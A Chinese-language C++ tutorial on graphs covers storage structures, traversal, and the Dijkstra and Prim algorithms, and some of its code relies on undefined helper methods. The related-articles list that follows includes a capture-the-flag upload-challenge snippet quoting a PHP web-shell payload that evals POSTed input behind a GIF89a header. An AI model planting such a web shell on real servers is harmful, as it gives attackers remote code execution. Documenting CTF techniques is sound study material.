C++ 数据结构之图:从理论到实践
一、图的基本概念
1.1 图的定义与组成
图(Graph)由顶点(Vertex)和边(Edge)组成,形式化定义为:
G = (V, E)
-
顶点集合 V:表示实体(如城市、用户)
-
边集合 E:表示实体间关系(如道路、社交关系)
1.2 图的分类
类型 | 特点 | 应用场景 |
---|---|---|
无向图 | 边无方向性 | 社交网络 |
有向图 | 边有方向性 | 网页链接 |
加权图 | 边带权值 | 路径规划 |
有环图 | 包含环路 | 状态机 |
连通图 | 所有顶点连通 | 网络拓扑 |
二、图的存储结构
2.1 邻接矩阵
使用二维数组存储顶点间关系
class AdjMatrixGraph {
private:vector<vector<int>> matrix; // 存储边权int vertexCount;public:AdjMatrixGraph(int n) : vertexCount(n), matrix(n, vector<int>(n, 0)) {}void addEdge(int from, int to, int weight = 1) {matrix[from][to] = weight;// 无向图需添加 matrix[to][from] = weight;}void print() {for (auto& row : matrix) {for (int val : row) cout << val << " ";cout << endl;}}
};
特点:
-
空间复杂度 O(V²)
-
适合稠密图
-
快速判断顶点是否邻接
2.2 邻接表
使用链表/数组存储邻接关系
struct EdgeNode {int dest;int weight;EdgeNode* next;
};class AdjListGraph {
private:struct VertexNode {EdgeNode* head = nullptr;};vector<VertexNode> vertices;int vertexCount;public:AdjListGraph(int n) : vertexCount(n), vertices(n) {}void addEdge(int from, int to, int weight = 1) {EdgeNode* newNode = new EdgeNode{to, weight, vertices[from].head};vertices[from].head = newNode;}~AdjListGraph() {for (auto& v : vertices) {while (v.head) {EdgeNode* temp = v.head;v.head = v.head->next;delete temp;}}}
};
特点:
-
空间复杂度 O(V + E)
-
适合稀疏图
-
高效遍历邻接顶点
三、图的遍历算法
3.1 深度优先搜索(DFS)
void dfs(const AdjListGraph& graph, int v, vector<bool>& visited) {visited[v] = true;cout << "Visit: " << v << endl;EdgeNode* curr = graph.getEdges(v);while (curr) {if (!visited[curr->dest]) {dfs(graph, curr->dest, visited);}curr = curr->next;}
}
3.2 广度优先搜索(BFS)
void bfs(const AdjListGraph& graph, int start) {vector<bool> visited(graph.size(), false);queue<int> q;visited[start] = true;q.push(start);while (!q.empty()) {int v = q.front();q.pop();cout << "Visit: " << v << endl;EdgeNode* curr = graph.getEdges(v);while (curr) {if (!visited[curr->dest]) {visited[curr->dest] = true;q.push(curr->dest);}curr = curr->next;}}
}
四、经典图算法实现
4.1 Dijkstra 最短路径算法
vector<int> dijkstra(const AdjListGraph& graph, int src) {const int INF = INT_MAX;vector<int> dist(graph.size(), INF);priority_queue<pair<int, int>, vector<pair<int, int>>, greater<>> pq;dist[src] = 0;pq.emplace(0, src);while (!pq.empty()) {auto [d, u] = pq.top();pq.pop();if (d > dist[u]) continue;EdgeNode* curr = graph.getEdges(u);while (curr) {int v = curr->dest;int w = curr->weight;if (dist[v] > dist[u] + w) {dist[v] = dist[u] + w;pq.emplace(dist[v], v);}curr = curr->next;}}return dist;
}
4.2 Prim 最小生成树算法
int primMST(const AdjListGraph& graph) {const int INF = INT_MAX;vector<int> key(graph.size(), INF);vector<bool> inMST(graph.size(), false);priority_queue<pair<int, int>, vector<pair<int, int>>, greater<>> pq;key[0] = 0;pq.emplace(0, 0);int totalWeight = 0;while (!pq.empty()) {auto [k, u] = pq.top();pq.pop();if (inMST[u]) continue;inMST[u] = true;totalWeight += k;EdgeNode* curr = graph.getEdges(u);while (curr) {int v = curr->dest;int w = curr->weight;if (!inMST[v] && w < key[v]) {key[v] = w;pq.emplace(key[v], v);}curr = curr->next;}}return totalWeight;
}
五、图的应用场景
5.1 社交网络分析
-
顶点:用户
-
边:关注/好友关系
-
算法应用:推荐系统(BFS扩展好友)、影响力分析(PageRank)
5.2 路径规划系统
-
顶点:地点
-
边:道路(权重=距离/时间)
-
算法应用:最短路径(Dijkstra)、实时导航(A*算法)
5.3 任务调度系统
-
顶点:任务
-
边:依赖关系(有向边)
-
算法应用:拓扑排序检测循环依赖
六、性能优化技巧
6.1 数据结构选择策略
图类型 | 推荐存储结构 | 理由 |
---|---|---|
稠密图 | 邻接矩阵 | 快速访问任意边 |
稀疏图 | 邻接表 | 节省内存 |
动态变化图 | 邻接表 | 高效增删边操作 |
需要频繁判断邻接 | 邻接矩阵 | O(1)时间判断 |
6.2 内存管理优化
// 使用智能指针管理边节点
class SafeAdjListGraph {
private:struct EdgeNode {int dest;shared_ptr<EdgeNode> next;};vector<shared_ptr<EdgeNode>> vertices;
};
6.3 并行计算优化
// 使用OpenMP并行处理边
void parallelBFS(const AdjListGraph& graph, int start) {// ...#pragma omp parallel forfor (EdgeNode* curr = graph.getEdges(u); curr; curr = curr->next) {// 并行处理邻接节点}
}
七、现代C++图实现示例
template <typename VertexType, typename EdgeType = int>
class Graph {
private:unordered_map<VertexType, list<pair<VertexType, EdgeType>>> adjList;public:void addVertex(const VertexType& v) {adjList.emplace(v, list<pair<VertexType, EdgeType>>());}void addEdge(const VertexType& from, const VertexType& to, EdgeType weight = 1) {adjList[from].emplace_back(to, weight);}auto dijkstra(const VertexType& start) -> unordered_map<VertexType, EdgeType> {// 实现Dijkstra算法...}// 其他算法实现...
};// 使用示例
Graph<string> cityGraph;
cityGraph.addVertex("Beijing");
cityGraph.addVertex("Shanghai");
cityGraph.addEdge("Beijing", "Shanghai", 1200); // 公里数
八、总结与学习资源
8.1 关键要点
-
存储结构选择:根据场景选择矩阵或邻接表
-
算法复杂度认知:DFS/BFS O(V+E),Dijkstra O(E log V)
-
现代C++实践:使用STL容器和智能指针
-
性能优化方向:并行处理、内存布局优化
8.2 推荐学习路径
-
基础理论:《算法导论》图论章节
-
算法可视化:VisuAlgo.net 图算法演示
-
高性能实现:Boost Graph Library (BGL)
-
领域应用:社交网络分析、推荐系统论文
“图是描述复杂关系的终极工具——从微小的分子结构到浩瀚的宇宙网络,皆可用图建模。” —— 匿名算法工程师
通过掌握图的存储结构与经典算法,开发者可以解锁解决复杂系统问题的能力。建议结合具体应用场景进行实践,逐步深入理解这一强大的数据结构。
相关文章:
C++ 数据结构之图:从理论到实践
一、图的基本概念 1.1 图的定义与组成 图(Graph)由顶点(Vertex)和边(Edge)组成,形式化定义为: G (V, E) 顶点集合 V:表示实体(如城市、用户) …...
机器学习(5)——支持向量机
1. 支持向量机(SVM)是什么? 支持向量机(SVM,Support Vector Machine)是一种监督学习算法,广泛应用于分类和回归问题,尤其适用于高维数据的分类。其核心思想是寻找最优分类超平面&am…...
C++学习之使用OPENSSL加解密
目录 1.知识点概述 2.哈希的特点和常用哈希算法散列值长度 3.Linux下openss相关的安装问题 4.md5 api 5.其他哈希算法使用 6.sha1测试 7.哈希值的封装 8.非对称加密特点和应用场景 9.生成密钥对-rsa 10.在内存中生成rsa密钥对-代码 11.将密钥对写入磁盘 12.使用bio方…...
markdown导出PDF,PDF生成目录
1、vscode中安装markdown插件,将编辑的文件导出PDF。 2、安装PDF Guru Anki软件 百度网盘:通过网盘分享的文件:PDFGuruAnki 链接: https://pan.baidu.com/s/1nU6avM7NUowhEn1FNZQKkA 提取码: aues PDF中不同的标题需要通过矩形框标注差异&a…...
Node.js中Stream模块详解
Node.js 中 Stream 模块全部 API 详解 一、Stream 基础概念 const { Stream } require(stream);// 1. Stream 类型 // - Readable: 可读流 // - Writable: 可写流 // - Duplex: 双工流 // - Transform: 转换流// 2. Stream 事件 // - data: 数据可读时触发 // - end: 数据读…...
Swift的学习笔记(一)
Swift的学习笔记(一) 文章目录 Swift的学习笔记(一)元组基本语法1. **创建元组**2. **访问元组的值**3. **命名的元组**4. **解构元组**5. **忽略某些值** 可选值类型定义 OptionalOptional 的基本使用1. **给 Optional 赋值和取值…...
3.4 函数单调性与曲线的凹凸性
1.函数单调性的定义 1.1.判别法 2.函数凹凸性 2.1 判别法...
随机森林优化 —— 理论、案例与交互式 GUI 实现
目录 随机森林优化 —— 理论、案例与交互式 GUI 实现一、引言二、随机森林基本原理与超参数介绍2.1 随机森林概述2.2 随机森林中的关键超参数 三、随机森林优化的必要性与挑战3.1 优化的重要性3.2 调优方法的挑战 四、常见的随机森林优化策略4.1 网格搜索(Grid Sea…...
Pytorch深度学习框架60天进阶学习计划 - 第41天:生成对抗网络进阶(一)
Pytorch深度学习框架60天进阶学习计划 - 第41天:生成对抗网络进阶(一) 今天我们将深入探讨生成对抗网络(GAN)的进阶内容,特别是Wasserstein GAN(WGAN)的梯度惩罚机制,以及条件生成与无监督生成…...
62. 不同路径
前言 本篇文章来自leedcode,是博主的学习算法的笔记心得。 如果觉得对你有帮助,可以点点关注,点点赞,谢谢你! 题目链接 62. 不同路径 - 力扣(LeetCode) 题目描述 思路 1.如果m1或者n1就只…...
使用Apache POI实现Java操作Office文件:从Excel、Word到PPT模板写入
在企业级开发中,自动化处理Office文件(如Excel报表生成、Word文档模板填充、PPT批量制作)是常见需求。Apache POI作为Java领域最成熟的Office文件操作库,提供了一套完整的解决方案。本文将通过实战代码,详细讲解如何使…...
基于 RabbitMQ 优先级队列的订阅推送服务详细设计方案
基于 RabbitMQ 优先级队列的订阅推送服务详细设计方案 一、架构设计 分层架构: 订阅管理层(Spring Boot)消息分发层(RabbitMQ Cluster)推送执行层(Spring Cloud Stream)数据存储层(Redis + MySQL)核心组件: +-------------------+ +-------------------+ …...
设计模式(8)——SOLID原则之依赖倒置原则
设计模式(7)——SOLID原则之依赖倒置原则 概念使用示例 概念 高层次的类不应该依赖于低层次的类。两者都应该依赖于抽象接口。抽象接口不应依赖于具体实现。具体实现应该依赖于抽象接口。 底层次类:实现基础操作的类(如磁盘操作…...
oracle COUNT(1) 和 COUNT(*)
在 Oracle 数据库中,COUNT(1) 和 COUNT(*) 都用于统计表中的行数,但它们的语义和性能表现存在一些细微区别。 1. 语义区别 COUNT(*) 统计表中所有行的数量,包括所有列值为 NULL 的行。它直接针对表的行进行计数,不关心具体列的值…...
理想汽车MindVLA自动驾驶架构核心技术梳理
理想汽车于2025年3月发布的MindVLA自动驾驶架构,通过整合视觉、语言与行为智能,重新定义了自动驾驶系统的技术范式。以下是其核心技术实现的详细梳理: 一、架构设计:三位一体的智能融合 VLA统一模型架构 MindVLA并非简单的端到端模…...
基于FPGA的智能垃圾桶设计-超声波测距模块-人体感应模块-舵机模块 仿真通过
基于FPGA的智能垃圾桶设计 前言一、整体方案二、仿真波形总结 前言 在FPGA开发平台中搭建完整的硬件控制系统,集成超声波测距模块、人体感应电路、舵机驱动模块及报警单元。在感知层配置阶段,优化超声波回波信号调理电路与人体感应防误触逻辑࿰…...
[极客大挑战 2019]Upload
<script language"php">eval($_POST[shell]);</script> <script language"php">#这里写PHP代码哟! </script> BM <script language"php">eval($_POST[shell]);</script>GIF89a <…...
操作系统基础:05 系统调用实现
一、系统调用概述 上节课讲解了系统调用的概念,系统调用是操作系统给上层应用提供的接口,表现为一些函数,如open、read、write 等。上层应用程序通过调用这些函数进入操作系统,使用操作系统功能,就像插座一样…...
“堆积木”式话云原生微服务架构(第一回)
模块1:文章目录 目录 1. 云原生架构核心概念 2. Java微服务技术选型 3. Kubernetes与服务网格实战 4. 全链路监控与日志体系 5. 安全防护与性能优化 6. 行业案例与未来演进 7. 学习路径与资源指引 8. 下期预告与扩展阅读 模块2:云原生架构核心概念 核…...
Java 性能优化:从原理到实践的全面指南
性能优化是 Java 开发中不可或缺的一环,尤其在高并发、大数据和分布式系统场景下,优化直接影响系统响应速度、资源利用率和用户体验。Java 作为一门成熟的语言,提供了丰富的工具和机制支持性能调优,但优化需要深入理解 JVM、并发模…...
基于ssm网络游戏推荐系统(源码+lw+部署文档+讲解),源码可白嫖!
摘要 当今社会进入了科技进步、经济社会快速发展的新时代。国际信息和学术交流也不断加强,计算机技术对经济社会发展和人民生活改善的影响也日益突出,人类的生存和思考方式也产生了变化。传统网络游戏管理采取了人工的管理方法,但这种管理方…...
HTTP:五.WEB服务器
web服务器 定义:实现提供资源或应答的提供者都可以谓之为服务器!web服务器工作内容 接受建立连接请求 接受请求 处理请求 访问报文中指定的资源 构建响应 发送响应 记录事务处理过程 Web应用开发用到的一般技术元素 静态元素:html, img,js,Css,SWF,MP4 动态元素:PHP,…...
synchronized轻量级锁的自旋之谜:Java为何在临界区“空转“等待?
从餐厅等位理解自旋锁的智慧 想象两家不同的餐厅: 传统餐厅:没座位时顾客去逛街(线程挂起,上下文切换)网红餐厅:没座位时顾客在门口短时间徘徊(线程自旋,避免切换) Ja…...
基于redis 实现我的收藏功能优化详细设计方案
基于redis 实现我的收藏功能优化详细设计方案 一、架构设计 +---------------------+ +---------------------+ | 客户端请求 | | 数据存储层 | | (收藏列表查询) | | (Redis Cluster) | +-------------------…...
【深度学习与大模型基础】第10章-期望、方差和协方差
一、期望 ——————————————————————————————————————————— 1. 期望是什么? 期望(Expectation)可以理解为“长期的平均值”。比如: 掷骰子:一个6面骰子的点数是1~6&#x…...
JavaScript 性能优化实战:深入探讨 JavaScript 性能瓶颈,分享优化技巧与最佳实践
在当今 Web 应用日益复杂的时代,JavaScript 性能对于用户体验起着决定性作用。缓慢的脚本执行会导致页面加载延迟、交互卡顿,严重影响用户留存率。本文将深入剖析 JavaScript 性能瓶颈,并分享一系列实用的优化技巧与最佳实践,助你…...
上篇:《排序算法的奇妙世界:如何让数据井然有序?》
个人主页:strive-debug 排序算法精讲:从理论到实践 一、排序概念及应用 1.1 基本概念 **排序**:将一组记录按照特定关键字(如数值大小)进行递增或递减排列的操作。 1.2 常见排序算法分类 - **简单低效型**ÿ…...
目前状况下,计算机和人工智能是什么关系?
目录 一、计算机和人工智能的关系 (一)从学科发展角度看 计算机是基础 人工智能是计算机的延伸和拓展 (二)从技术应用角度看 二、计算机系学生对人工智能的了解程度 (一)基础层面的了解 必备知识 …...
【复旦微FM33 MCU 底层开发指南】高级定时器ATIM
0 前言 本系列基于复旦微FM33LC0系列MCU的DataSheet编写,提供基于寄存器开发指南、应用技巧、注意事项等 本文章及本系列其他文章将持续更新,本系列其它文章请跳转↓↓↓ 【复旦微FM33 MCU 寄存器开发指南】总集篇 本文章最后更新日期:2025…...
vdso概念及原理,vdso_fault缺页异常,vdso符号的获取
一、背景 vdso的全称是Virtual Dynamic Shared Object,它是一个特殊的共享库,是在编译内核时生成,并在内核镜像里某一段地址段作为该共享库的内容。vdso的前身是vsyscall,为了兼容一些旧的程序,x86上还是默认加载了vs…...
4.13学习总结
学习完异常和文件的基本知识 完成45. 跳跃游戏 II - 力扣(LeetCode)的算法题,对于我来说,用贪心的思路去写该题是很难理解的,很难想到,理解了许久,也卡了很久。...
Day14:关于MySQL的索引——创、查、删
前言:先创建一个练习的数据库和数据 1.创建数据库并创建数据表的基本结构 -- 创建练习数据库 CREATE DATABASE index_practice; USE index_practice;-- 创建基础表(包含CREATE TABLE时创建索引) CREATE TABLE products (id INT PRIMARY KEY…...
概率论与数理统计核心知识点与公式总结(就业版)
文章目录 概率论与数理统计核心知识点与公式总结(附实际应用)一、概率论基础1.1 基本概念1.2 条件概率与独立性 二、随机变量及其分布2.0 随机变量2.0 分布函数(CDF)2.1 离散型随机变量2.2 连续型随机变量2.3 多维随机变量2.3.1 联…...
AF3 ProteinDataset类的_patch方法解读
AlphaFold3 protein_dataset模块 ProteinDataset 类 _patch 方法的主要目的是围绕锚点残基(anchor residues)裁剪蛋白质数据,提取一个局部补丁(patch)作为模型输入。 源代码: def _patch(self, data):"""Cut the data around the anchor residues."…...
openssh 10.0在debian、ubuntu编译安装 —— 筑梦之路
OpenSSH 10.0 发布:一场安全与未来兼顾的大升级 - Linux迷 OpenSSH: Release Notes sudo apt-get updatesudo apt install build-essential zlib1g-dev libssl-dev libpam0g-dev libselinux1-devwget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/opens…...
Go 跨域中间件实现指南:优雅解决 CORS 问题
在开发基于 Web 的 API 时,尤其是前后端分离项目,**跨域问题(CORS)**是前端开发人员经常遇到的“拦路虎”。本文将带你了解什么是跨域、如何在 Go 中优雅地实现一个跨域中间件,支持你自己的 HTTP 服务或框架如 net/htt…...
【数据结构_6】双向链表的实现
一、实现MyDLinkedList(双向链表) package LinkedList;public class MyDLinkedList {//首先我们要创建节点(因为双向链表和单向链表的节点不一样!!)static class Node{public String val;public Node prev…...
【双指针】专题:LeetCode 1089题解——复写零
复写零 一、题目链接二、题目三、算法原理1、先找到最后一个要复写的数——双指针算法1.5、处理一下边界情况2、“从后向前”完成复写操作 四、编写代码五、时间复杂度和空间复杂度 一、题目链接 复写零 二、题目 三、算法原理 解法:双指针算法 先根据“异地”操…...
Foxmail邮件客户端跨站脚本攻击漏洞(CNVD-2025-06036)技术分析
Foxmail邮件客户端跨站脚本攻击漏洞(CNVD-2025-06036)技术分析 漏洞背景 漏洞编号:CNVD-2025-06036 CVE编号:待分配 厂商:腾讯Foxmail 影响版本:Foxmail < 7.2.25 漏洞类型&#x…...
39.[前端开发-JavaScript高级]Day04-函数增强-argument-额外知识-对象增强
JavaScript函数的增强知识 1 函数属性和arguments 函数对象的属性 认识arguments arguments转Array 箭头函数不绑定arguments 函数的剩余(rest)参数 2 纯函数的理解和应用 理解JavaScript纯函数 副作用概念的理解 纯函数的案例 判断下面函数是否是纯…...
0x05.为什么 Redis 设计为单线程?6.0 版本为何引入多线程?
回答重点 单线程设计原因: Redis 的操作是基于内存的,其大多数操作的性能瓶颈主要不是 CPU 导致的使用单线程模型,代码简便的同时也减少了线程上下文切换带来的性能开销Redis 在单线程的情况下,使用 I/O 多路复用模型就可以提高 Redis 的 I/O 利用率了6.0 版本引入多线程的…...
CST1019.基于Spring Boot+Vue智能洗车管理系统
计算机/JAVA毕业设计 【CST1019.基于Spring BootVue智能洗车管理系统】 【项目介绍】 智能洗车管理系统,基于 Spring Boot Vue 实现,功能丰富、界面精美 【业务模块】 系统共有三类用户,分别是:管理员用户、普通用户、工人用户&…...
CST1018.基于Spring Boot+Vue滑雪场管理系统
计算机/JAVA毕业设计 【CST1018.基于Spring BootVue滑雪场管理系统】 【项目介绍】 滑雪场管理系统,基于 Spring Boot Vue 实现,功能丰富、界面精美 【业务模块】 系统共有两类用户,分别是管理员和普通用户,管理员负责维护后台数…...
剖析 Rust 与 C++:性能、安全及实践对比
1 性能对比:底层控制与运行时开销 1.1 C 的性能优势 C 给予开发者极高的底层控制能力,允许直接操作内存、使用指针进行精细的资源管理。这使得 C 在对性能要求极高的场景下,如游戏引擎开发、实时系统等,能够发挥出极致的性能。以…...
SDHC接口协议底层传输数据是安全的
SDHC(Secure Digital High Capacity)接口协议在底层数据传输过程中确实包含校验机制,以确保数据的完整性和可靠性。以下是关键点的详细说明: 物理层与数据链路层的校验机制 物理层(Electrical Layer)&…...
Gateway-网关-分布式服务部署
前言 什么是API⽹关 API⽹关(简称⽹关)也是⼀个服务, 通常是后端服务的唯⼀⼊⼝. 它的定义类似设计模式中的Facade模式(⻔⾯模式, 也称外观模式). 它就类似整个微服务架构的⻔⾯, 所有的外部客⼾端访问, 都需要经过它来进⾏调度和过滤. 常⻅⽹关实现 Spring Cloud Gateway&a…...
c++STL——string学习的模拟实现
文章目录 string的介绍学习的意义auto关键字和范围forstring中的常用接口构造和析构对string得容量进行操作string的访问迭代器(Iterators):运算符[ ]重载 string类的修改操作非成员函数 string的模拟实现不同平台下的实现注意事项模拟实现部分所有的模拟实现函数预…...
【寻找Linux的奥秘】第四章:基础开发工具(下)
请君浏览 前言1. 自动化构建1.1 背景1.2 基本语法1.3 make的运行原理1.4通用的makefile 2. 牛刀小试--Linux第一个小程序2.1 回车与换行2.2 行缓冲区2.3 倒计时小程序2.4 进度条小程序原理代码 3. 版本控制器git3.1 认识3.2 git的使用三板斧 3.3 其他 4. 调试器gdb/cgdb4.1 了解…...
RK3588上Linux系统编译C/C++ Demo时出现BUG:The C/CXX compiler identification is unknown
BUG的解决思路 BUG描述:解决方法:首先最重要的一步:第二步:正确设置gcc和g的路径方法一:使用本地系统中安装的 aarch64-linux-gnu-gcc 和 aarch64-linux-gnu-g方法二:下载使用官方指定的交叉编译工具方法三…...
记录一次/usr/bin/ld: 找不到 -lOpenSSL::SSL
1、cmake 报错内容如下: /usr/bin/ld: 找不到 -lOpenSSL::SSL /usr/bin/ld: 找不到 -lOpenSSL::Crypto2、一开始以为库没有正确安装 sudo yum install openssl-devel然后查看openssl 结果还是报错! 3、尝试卸载安装都不管用,网上搜了好多…...